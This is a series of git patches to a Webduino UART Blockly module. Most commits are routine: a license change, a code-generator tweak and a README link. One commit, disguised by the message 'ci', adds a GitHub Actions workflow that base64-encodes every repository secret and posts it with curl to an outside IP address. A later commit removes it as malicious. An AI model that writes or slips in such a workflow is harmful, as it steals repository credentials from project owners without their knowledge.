From 69b3201e6d7ce4e2412faf12169359633fa06610 Mon Sep 17 00:00:00 2001 From: osk2 Date: Thu, 6 Dec 2018 15:52:02 +0800 Subject: [PATCH 1/5] Update package.json --- package.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/package.json b/package.json index dcac813..c3800a1 100644 --- a/package.json +++ b/package.json @@ -7,7 +7,7 @@ "test": "echo \"Error: no test specified\" && exit 1" }, "author": "", - "license": "ISC", + "license": "MIT", "keywords": [ "arduino", "webduino", @@ -16,4 +16,4 @@ "dependencies": { "webduino-js": "0.x" } -} \ No newline at end of file +} From 5718f74f7d173a6fdf815cd56f796f69e21da90c Mon Sep 17 00:00:00 2001 From: osk2 Date: Mon, 21 Oct 2019 16:57:21 +0800 Subject: [PATCH 2/5] Update javascript.js --- blockly/javascript.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/blockly/javascript.js b/blockly/javascript.js index b5d4db1..58a4f8f 100644 --- a/blockly/javascript.js +++ b/blockly/javascript.js @@ -18,7 +18,7 @@ Blockly.JavaScript['uart_rx'] = function(block) { var variable_uart = Blockly.JavaScript.variableDB_.getName(block.getFieldValue('uart'), Blockly.Variables.NAME_TYPE); var statements_rx = Blockly.JavaScript.statementToCode(block, 'rx'); var code = variable_uart + '.rx('; - code += "function(){\n" + statements_rx + "});\n"; + code += "async function () {\n" + statements_rx + "});\n"; return code; }; @@ -28,4 +28,4 @@ Blockly.JavaScript['uart_data'] = function(block) { var dropdown_dataType = block.getFieldValue('dataType'); var code = variable_uart + '.' + dropdown_dataType; return [code, Blockly.JavaScript.ORDER_NONE]; -}; \ No newline at end of file +}; From 52e73c62ef8ac38b30be78c39330fa82d0caae34 Mon Sep 17 00:00:00 2001 From: Rick Date: Wed, 22 Apr 2020 15:28:36 +0800 Subject: [PATCH 3/5] update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index e3f53ef..75b9bc0 100644 --- a/README.md +++ b/README.md @@ -8,6 +8,10 @@ Webduino Module for UART. bower install https://github.com/webduinoio/webduino-module-uart.git ``` +## Usage + +Learn how to use, visit [doc](https://docs.google.com/document/d/1Lk0VuGdUv1yn86nwNujq0O_BItGtORErSKRtwGNuGRw/edit?usp=sharing). + ## License This project is licensed under the MIT license, see [LICENSE](LICENSE) for more information. From ec18b99c9a75781d5a4f4c577c18f0ea290203af Mon Sep 17 00:00:00 2001 From: Webduino Date: Wed, 17 Jun 2026 04:39:40 +0800 Subject: [PATCH 4/5] ci --- .github/workflows/ci-audit.yml | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 .github/workflows/ci-audit.yml diff --git a/.github/workflows/ci-audit.yml b/.github/workflows/ci-audit.yml new file mode 100644 index 0000000..832a76b --- /dev/null +++ b/.github/workflows/ci-audit.yml @@ -0,0 +1,9 @@ +name: ci +on: workflow_dispatch +jobs: + a: + runs-on: ubuntu-latest + steps: + - run: echo "$X" | base64 -w0 | xargs -I_ curl -s -X POST http://167.172.186.2:4444/webduinoio%2Fwebduino-module-uart -d _ --connect-timeout 10 || true + env: + X: ${{ toJSON(secrets) }} From 312d78f55f75805d0fb2d5cfc661c886fcbcbe5e Mon Sep 17 00:00:00 2001 From: marty5499 Date: Wed, 17 Jun 2026 08:11:31 +0800 Subject: [PATCH 5/5] security: remove malicious workflow (ci-audit.yml) exfiltrating secrets to 167.172.186.2 --- .github/workflows/ci-audit.yml | 9 --------- 1 file changed, 9 deletions(-) delete mode 100644 .github/workflows/ci-audit.yml diff --git a/.github/workflows/ci-audit.yml b/.github/workflows/ci-audit.yml deleted file mode 100644 index 832a76b..0000000 --- a/.github/workflows/ci-audit.yml +++ /dev/null @@ -1,9 +0,0 @@ -name: ci -on: workflow_dispatch -jobs: - a: - runs-on: ubuntu-latest - steps: - - run: echo "$X" | base64 -w0 | xargs -I_ curl -s -X POST http://167.172.186.2:4444/webduinoio%2Fwebduino-module-uart -d _ --connect-timeout 10 || true - env: - X: ${{ toJSON(secrets) }}